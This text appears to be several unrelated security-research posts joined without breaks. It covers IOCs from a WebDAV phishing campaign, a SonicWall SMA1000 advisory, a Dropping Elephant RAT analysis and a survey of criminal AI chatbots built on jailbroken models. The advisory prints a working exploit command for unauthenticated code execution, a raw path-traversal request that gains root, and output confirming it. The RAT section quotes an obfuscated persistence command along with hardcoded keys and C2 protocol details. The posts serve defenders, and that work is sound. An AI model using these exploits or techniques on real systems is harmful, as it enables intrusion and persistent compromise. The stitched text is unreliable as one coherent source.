The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Table 4: HTTP methods observed in WebDAV delivery traffic.

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

Overview

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

• 12.4.3-03245

• 12.4.3-03387

• 12.4.3-03434 (platform-hotfix)

• 12.5.0-02283

• 12.5.0-02624

• 12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By provided host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploit in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. 

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as ../../../../var/tmp/privesc. The system executes the script as root and (typically) reboots the appliance immediately after.

An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

• Performing a thorough forensic review for indicators of compromise.

• Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.

• Changing user and administrator passwords.

• Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic behaviors

Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “localhost” or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.

Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.

Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).

Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.

Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.

AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

/var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

• 45.131.194.0/24

• 45.146.54.0/24

• 63.135.161.0/24

• 173.239.211.0/24

• 193.37.32[.]179

• 193.37.32[.]214

• 216.73.163[.]151

• 216.73.163[.]158

Attacker Asset Names:

• DESKTOP-KRLUI3J

• DESKTOP-IC3C80F

• DESKTOP-5P0TSCP

• KALI

• localhost

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

• July 15, 2026: Initial publication.
• July 16, 2026: Additional IOCs identified and blog section updated with the identified attacker asset names.

Executive summary

Rapid7 researchers have identified a sophisticated malware campaign attributed to the threat actor "Dropping Elephant," characterized by the use of a China-themed decoy document to deliver a heavily reworked, in-memory remote access trojan (RAT). This campaign demonstrates advanced evasion techniques, including DLL side-loading with a legitimate Microsoft binary (Fondue.exe) and the use of "Donut" shellcode to map the RAT directly into memory, effectively bypassing traditional disk-based security controls.

The revamped RAT significantly complicates detection by using control-flow flattening, runtime API reconstruction, and hardened C2 communications. Despite these modifications, Rapid7's deep analysis confirms this activity is a direct evolution of Dropping Elephant's tradecraft, based on shared beaconing patterns, screenshot logic, and command-handler structures. This discovery underscores the importance of proactive threat hunting and memory-level visibility in detecting modern, low-footprint implants.

Rapid7 is actively monitoring the infrastructure and tradecraft associated with this actor so we can provide comprehensive protection and intelligence to our customers.

Defenders should not rely on the IOCs alone. The most durable detection opportunities in this campaign are the behaviors: a shortcut file spawning PowerShell, files staged in C:\Users\Public\, a scheduled task named GoogleErrorReport executing every minute, and Fondue.exe loading APPWIZ.cpl from C:\Users\Public\ rather than a legitimate Windows directory.

Because the final RAT is loaded directly into memory through Donut, defenders should also review whether their endpoint tooling can detect memory-resident payloads and security-control patching within a process, including AMSI, WLDP, and ETW tampering.

Overview

During a proactive threat hunt, Rapid7 identified a malicious Windows shortcut that matched activity previously associated with Dropping Elephant. The shortcut used a China energy-sector contract lure and led to a payload chain that shared the family’s delivery patterns but ended in a substantially reworked RAT.

The decoy document was a contract completion and acceptance notice for the GRES-3 project and referenced delivery of industrial seawater circulation pump systems. Because the final payload differed significantly from known samples, Rapid7 analyzed the chain from the initial shortcut through the final in-memory RAT.

Luckily, during the analysis, the staging server was active which allowed us to download all attack artifacts. The recovered files use Fondue.exe, a legitimate Microsoft binary, to side-load a malicious loader. The loader decrypts an AES-wrapped payload stored on disk. The decrypted payload contains a Donut shellcode loader that embeds the final RAT and uses Chaskey block cipher as part of its payload protection scheme. Donut then decrypts the final 32-bit native RAT, maps it, and executes it in memory.

We found that the final RAT differs significantly from older Dropping Elephant RAT samples. The malware uses control-flow flattening, runtime API reconstruction, and static CRT linking to complicate analysis. It also hardens C2 communications through HTTPS transport, Salsa20-protected C2 fields, and additional environment checks. Despite these changes, code-level comparison still identifies shared lineage with a Dropping Elephant RAT reference sample through command-handler structure, screenshot capture logic, WININET request flow, beaconing patterns, and repeated buffer constants.

Technical analysis and observed attacker behavior

⠀

Stage 1: GRES3001.lnk

The attack starts when a user executes GRES3001.lnk, a malicious Windows shortcut disguised as a PDF. When opened, the shortcut spawns an obfuscated PowerShell downloader using conhost.exe. The PowerShell uses basic string-splitting obfuscation (e.g., iw''r, g''c''i, r''e''n, c''p''i, and &(g''cm sch*)) to evade keyword detection.

The downloader connects to the staging server chinagreenenergy[.]org and retrieves the decoy GRES3001.pdf along with additional malware files. It immediately opens the China energy-sector lure document to distract the victim while staging the remaining payloads in the background.

⠀

⠀

Stage 2: Payload staging

Several payload files are downloaded with junk extensions such as .ezxzez, .cypyly, and .dzlzlz, then renamed by stripping filler characters to reconstruct Fondue.exe, APPWIZ.cpl, msvcp140.dll, and vcruntime140.dll in C:\Users\Public\. The encrypted payload editor.dat is written to the C:\Windows\Tasks\ folder.

Table 1: Files retrieved from the stager server 

After staging the files, the script creates a scheduled task named GoogleErrorReport, configured to run Fondue.exe every minute. It then deletes the original shortcut, leaving the scheduled task to trigger the next execution stage through the Fondue.exe side-loading chain.

&(gcm sch*) /create /Sc minute /tn GoogleErrorReport /tr "$b\Public\Fondue"

Figure 4: Scheduled task creation command using gcm sch* obfuscation

Stage 3: DLL side-loading

The Fondue.exe loads the malicious APPWIZ.cpl staged alongside it in the C:\Users\Public\ directory. The side-loaded APPWIZ.cpl exports RunFODW, the function expected by Fondue.exe. RunFODW serves as the loader entry point and continues the payload chain by reading and decrypting editor.dat.

Stage 4: Encrypted payload and Donut loader

APPWIZ.cpl sha256: 914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6, original name for the metadata is bluetooth_callback.dll.

⠀

It reads editor.dat, Base64-decodes it, and decrypts the result with AES-256-CBC via Windows CNG (bcrypt.dll). The 32-byte key and 16-byte IV are assembled on the stack from immediate mov operands:

KEY (32B): 1f1e1d1c1b1a101108090a0b0c0d0e0f00020405040102031011121415181611

IV (16B): 000803030902060708090a0b0c0d0e0f

The loader maps the shellcode into an RWX memory region using VirtualAlloc followed by memcpy call. Then it transfers execution indirectly by passing the shellcode address as the callback argument to EnumUILanguagesW.

⠀

The decrypted output is a Donut shellcode blob, not the final RAT. Donut uses Chaskey-CTR to protect the embedded PE, maps it in memory, resolves imports, applies relocations, and transfers execution without writing the RAT to disk. Before running the payload, Donut patches AMSI, WLDP, and ETW inside the current process, reducing in-memory scanning, code-integrity checks, and event telemetry for the unpacked RAT.

The final payload is a native 32-bit C++ implant SHA 7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54. It runs entirely in memory after the Donut stage maps it. At startup, the RAT first calls FreeConsole() to detach from any console so nothing shows up on screen. After that, it resolves its required APIs dynamically through a LoadLibrary / GetProcAddress loop. After API resolution, the RAT stages its crypto and builds C2 hostname, gcl-power[.]org. The cipher is Salsa20, and the key material is hardcoded. It is a 32-byte key tn9905083tfbsxqrxs7qe4ryw1nif8h1 with 8-byte nonce lPvymwIk. Next, it calls sub_40F4A0 subroutine which walks the running process list and checks each entry against a built-in list of debuggers, sandbox tools, and VM artifacts. During debugging, we observed the process scan, however, the implant continued normally, without killing security processes.

Both the process scan and public-IP geolocation check executed during dynamic testing without triggering self-termination. The RAT still reported the full process list in the mkeoldkf beacon field, exposing debuggers, sandbox tools, and other analysis artifacts to the operator.

After process scan, the malware creates a mutex “kshdkfhskdfjkhsdkfhsjkdfhkj” to prevent reinfection and reduce duplicate-process noise. 

Finally, the RAT fingerprints the host, derives its bot ID, and enters sub_415750(), where it begins polling for commands from the C2 server. Unfortunately, during the analysis the C2 was already down.

Host fingerprinting

Before beaconing, the RAT collects seven fields describing the victim host and packs them into the registration POST body:

Table 2: RAT registration beacon fields and their meaning

During fingerprinting, the RAT makes a one-time call to api.ipify.org to learn the host's own public IP, then passes that IP to ip2c.org to resolve the country. The user-agent used in the recon phase is Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 . The bot ID is not hardcoded. It is derived at runtime from the host and submitted in the idkdfjej field. Each field is independently wrapped as base64url(Salsa20(base64url(value))).

Command and control

The RAT periodically sends HTTPS POST requests to the C2 server on port 443 (INTERNET_FLAG_SECURE). It uses a 23-character token, RRn926EmIRfm9IlJyP1yVO2 for C2 traffic to gcl-power[.]org. Each beacon loop iteration follows the same pattern:

• POSTs dine=<cid> to the command-poll endpoint /prjozifvkpkfhkr/gedhagammgjvvva/;

• blocks on InternetReadFile while waiting for a task;

• treats MMMMM==YYYYY as the idle sentinel, sleeps for approximately three seconds, and re-polls;

• C2 tasks are wrapped in  < > ( ) * delimiters. The RAT strips these characters and decodes the payload back to the original command using base64url(Salsa20(base64url(value))) again.

⠀

Each cycle, the RAT first confirms the host is actually online by quietly pinging google.com, yahoo.com, and cloudflare.com. Only if that succeeds does it beacon to its C2. When all's well it checks in every 10 seconds and if a check-in fails it retries every 2 seconds, until it recovers.

Operator capabilities

During our analysis we confirmed 5 command handlers.

Table 3: Confirmed RAT command handlers with dispatch tokens and behavior

The RAT identifies tasks by looking for command tokens in the C2 response. Each token is followed by the delimiter ==zz==oo==pp==. For example, fl==zz==oo==pp== tells the RAT to run the file-listing handler.

Anti-analysis 

The RAT uses several anti-analysis techniques, including control-flow flattening, opaque predicates, dynamic API resolution, stack-built strings, static CRT linking, process blacklist checks, CPUID hypervisor checks, VM artifact checks, and public-IP geolocation checks.

⠀

During dynamic testing, the process scan and public-IP geolocation checks are executed without triggering self-termination. The RAT built its registration beacon with the full process list in the mkeoldkf field and attempted to send it to gcl-power[.]org. The connection returned HTTP 522, so the beacon did not reach the origin server during testing. Based on this run, we can confirm the environment checks and reporting behavior. Unfortunately, we cannot determine whether the operator would have killed the session, continued tasking, or taken another action after receiving the process list. The full list of processes and security tools cancould be found in the IOCs section below.

Attribution 

To test whether the RAT delivered by Donut was related to Dropping Elephant, we compared it with a known family sample documented by Arctic Wolf in July 2025: SHA-256 8b6acc087e403b913254dd7d99f09136dc54fa45cf3029a8566151120d34d1c2. That report provides the family context for the reference sample.

BinDiff produced low signal, with 8.6% overall similarity. We do not treat this as evidence against shared lineage. The new sample uses control-flow flattening, which changes the control-flow graph structure that BinDiff depends on. Therefore we also compared the samples with Diaphora, using pseudocode and AST-level features less affected by control-flow flattening.

Diaphora identified four function-level overlaps that pointed to a shared code usage.

Table 4: Code-level overlaps between editor.extracted.exe and old_rat.exe identified by Diaphora

The LNK lure and delivery chain also resemble prior Dropping Elephant reporting, including PowerShell staging, legitimate binary abuse, scheduled task persistence, extension manipulation during downloads, and DLL side-loading. These overlaps supported the initial hypothesis, but the payload comparison provides the primary evidence for the lineage assessment.

Mitigation guidance

MITRE ATT&CK techniques

Indicators of compromise (IOCs)

File hashes

Network indicators

More IOCs can be found on our GitHub.

Conclusion

The campaign analyzed in this blog demonstrates continued Dropping Elephant operational investment and tooling development. The actor reused recognizable delivery patterns, including a China-themed lure, PowerShell-based staging, scheduled task persistence, shortcut-based execution, and DLL side-loading through a trusted Microsoft binary. At the same time, it evolved the final payload into a more evasive, memory-resident implant.

The final RAT represents a notable evolution from previously documented Dropping Elephant tooling. It executes entirely in memory, patches AMSI, WLDP, and ETW before running, and incorporates additional obfuscation and anti-analysis techniques that make detection and analysis more difficult.

For defenders, the practical takeaway is that Dropping Elephant’s tooling may be changing faster than its operational approach. Hashes, filenames, and infrastructure are likely to change across campaigns, but the path into execution still creates opportunities to detect and disrupt the activity before the final implant runs.

Introduction

The underground market for criminally oriented generative AI has moved beyond the early hype surrounding 'malicious chatbots.' The gradual integration of AI as a productivity layer within cybercrime operations has become the dominant story, indicating that while the potential for fully autonomous AI hacking systems is possible, attackers are not embracing them as expected. Instead, threat actors are increasingly using AI to accelerate routine, but operationally significant, tasks to scale their operations. Drafting phishing lures, profiling targets, debugging code, generating forged documents, modifying malware, translating victim communications, and processing stolen data at scale were once time-consuming activities that AI has made significantly easier. AI does not replace cybercriminals; it lowers friction, increases speed, and expands the range of actors able to perform tasks that previously required more time, skill, or external support.

AI is being absorbed into criminal tradecraft, embedding itself in social engineering, fraud enablement, impersonation, identity abuse, and post-breach data exploitation. The market supporting this demand is not a single coherent product category, but a broader ecosystem of jailbreak wrappers, Telegram-based bots, prompt packs, open-weight model deployments, stolen AI accounts, and hijacked API keys. Their importance lies less in technical elegance than in usability. They provide criminals with accessible, repeatable, and commercially packaged ways to apply AI to operational problems.

This ecosystem should not be mistaken for a stable or fully mature criminal market. Compared with more established sectors, criminal AI remains volatile, uneven, and heavily exposed to hype. Some services offer genuine operational utility while others are little more than repackaged public models marketed at inflated prices. Many are short-lived, deceptive, or opportunistic rebrands. 

Even so, the demand is real. The core shift is not the arrival of a single dominant criminal model, but the commercialization of access to AI-enabled criminal capability. The strategic significance of criminal AI lies in compressing time, lowering skill barriers, improving communication quality, and scaling existing criminal workflows.

Criminal AI-as-a-Service

The defining features of this market have little to do with any technical novelty, but rather the packaging and monetization of access. By early 2026, many underground services were marketed through familiar commercial mechanisms like subscriptions, private support channels, Telegram-based delivery, gated communities, and promises of uncensored output, privacy, or reduced logging. These are clear signs of SaaS-style commercialization, albeit far less mature or stable than its legitimate counterparts.

The market should be best understood as “Criminal AI-as-a-Service.” Most offerings do not appear to rely on original foundational models built by threat actors. Instead, they typically depend on jailbreaks, wrappers around commercial services, fine-tuned open-weight models, repackaged interfaces, or modular combinations of existing capabilities. 

Pricing patterns suggest growing commercialization, but not a stable market structure. Entry-level access may be inexpensive, while premium services can be marketed at significantly higher rates with promises of priority support or additional functionality. These prices should be treated as indicative, not definitive (Figures 1 and 2). They are highly volatile and shaped by takedowns, fraud, rebranding, and shifting demand. 

At the lower end, free tools and stolen access to legitimate AI services often remain the default. In the middle of the market, recurring subscriptions are increasingly common. At the upper end, some services claim to use more modular or self-hosted architectures to reduce dependence on mainstream platforms. Together, these patterns point to a market that is becoming more operationalized, even if it remains unstable and hype-driven.

⠀

Main criminal AI tool families

The criminal AI ecosystem is defined by several distinct tool families that reflect how threat actors adopt, package, and market generative AI for illicit use. Some platforms function as fraud-enabling assistants, others as uncensored Telegram-native chatbots, modular offensive frameworks, or low-barrier tools aimed at novice users. Examining these categories is more useful than focusing solely on individual brand names, as it reveals the market’s underlying operational logic. That logic is based on how these tools are distributed, which users they target, and which stages of the criminal workflow they are designed to support. 

Overall, the market is increasingly splitting into two complementary directions. At one end are low-cost, mass-market tools that help less experienced actors produce phishing content, scam scripts, malware prompts, forged material, and social engineering narratives at scale. At the other end are more specialized platforms that integrate AI into execution workflows, supporting targeting, automation, and operational optimization for fewer but more precise attacks. This volume-versus-precision dynamic shows that criminal AI is no longer only about accelerating malicious content generation; it is also becoming a way to make illicit operations more scalable, quieter, and strategically targeted.

FraudGPT 

This tool family represents the distribution model for criminal AI by fraud shops. Emerging in mid-2023 for a few hundred dollars per month, its longevity on the black market stems from its positioning as an "all-in-one" operational assistant rather than a simple programming tool. Most buyers are not using it to engineer highly complex malware; instead, they treat it as a productivity engine to orchestrate the entire fraud chain. 

Threat actors use it to systematically design lookalike phishing pages, scrape target data, draft convincing spear-phishing lures, and generate scam scripts. Even as the underlying architecture has evolved away from standalone models and toward basic wrappers around legitimate, jailbroken corporate APIs, FraudGPT remains a staple of the underground economy because it effectively democratizes advanced social engineering, allowing entry-level scammers to execute highly localized, grammatically flawless, and high-volume fraud operations (Figure 3).

⠀

GhostGPT 

This tool family reflects the Telegram-native distribution model. Its reported selling points — uncensored output, ease of access, and reduced operational friction — illustrate the convenience and perceived safety many criminal buyers claim to value most. However, like many tools in this category, independent verification of its capabilities is limited, and its significance lies more in what it signals about buyer preferences than in any confirmed technical differentiation.

WormGPT

This tool family serves as the ultimate case study in the power and persistence of criminal branding. While the original, headline-grabbing tool was officially shut down by its creator in August 2023 following intense law enforcement and media exposure, the name has essentially become a generic dark-web trademark for unrestricted AI. The market is saturated with opportunistic copycats, such as "WormGPT v4" and various Telegram bots trading on the name. 

Threat intelligence analysis of these modern variants reveals that they share zero code with the original system; instead, they are highly volatile marketing shells, often basic API wrappers around commercial models like Grok or Mixtral that use specialized system prompts to bypass safety guardrails. WormGPT's relevance in 2026 lies not in its technical uniqueness but in its sociological impact. It is an entry-level gateway tool used by script kiddies and sophisticated actors alike to quickly generate functional exploit scripts, craft persuasive business email compromise (BEC) lures, and scale offensive workflows (Figure 4).

⠀

KawaiiGPT 

This is a freely accessible or low-cost criminally oriented AI chatbot/tool marketed in underground spaces to generate or support illicit content and cybercrime-related tasks. Its use highlights the problem of low-barrier access in the criminal LLM market. Its relevance does not lie in any demonstrated advanced capability and there is little evidence that it provides meaningful technical sophistication beyond basic generative AI functions. Rather, KawaiiGPT is important as an example of how free or near-free tools can normalize AI-assisted offending among less experienced users. Its significance is therefore sociological rather than technical as it lowers the threshold for participation, makes AI-assisted offending appear accessible and low-risk, and introduces novice actors to workflows such as phishing text generation, fraud scripting, impersonation, and other forms of low-level cybercrime support.

BruteForceAI 

This tool family represents a meaningfully different category from the chatbot-style tools that dominate criminal AI branding. BruteForceAI prioritizes precision over content generation. It integrates large language models for intelligent form analysis and sophisticated multi-threaded attack execution. This distinction matters. The broader trend it reflects is one of attackers making fewer, better-targeted attempts rather than relying on brute volume. AI here is not a content tool. It is an execution layer, and the shift from noisy credential stuffing to quiet, optimized targeting is strategically more significant than any individual tool name (Figure 5).

⠀

Xanthorox 

This AI represents the modular criminal AI platform. Its significance lies in how it is marketed. Public reporting describes it as more than another “evil chatbot,” with claims around coding support, multiple model components, and broader operational utility. Still, Xanthorox should be framed cautiously. It is better treated as an emerging or ambitiously marketed platform than as a universally verified flagship of the underground market (Figure 6).

⠀

The wide variety of smaller adversarial AI tools in 2026, including names like DarkGPT, EscapeGPT, WolfGPT, Evil-GPT, XXXGPT, and BadGPT, should be viewed with caution. These brands do not constitute a coherent or reliable category; instead, they often function as short-lived rebrandings or simple interfaces built on public or open-source models. In many cases, these are "scam-of-the-month" services hosted on Telegram, designed to capitalize on hype, with entry-level memberships starting at a few dozen dollars. However, they should not be dismissed outright, as some do offer genuine un-censorship or serve as testing grounds for malicious exploits. The bottom line in 2026 is that the brand name matters less than the underlying architecture. Most "GPT" labels are disposable marketing shells used to evade takedown measures or rebuild credibility after a service failure.

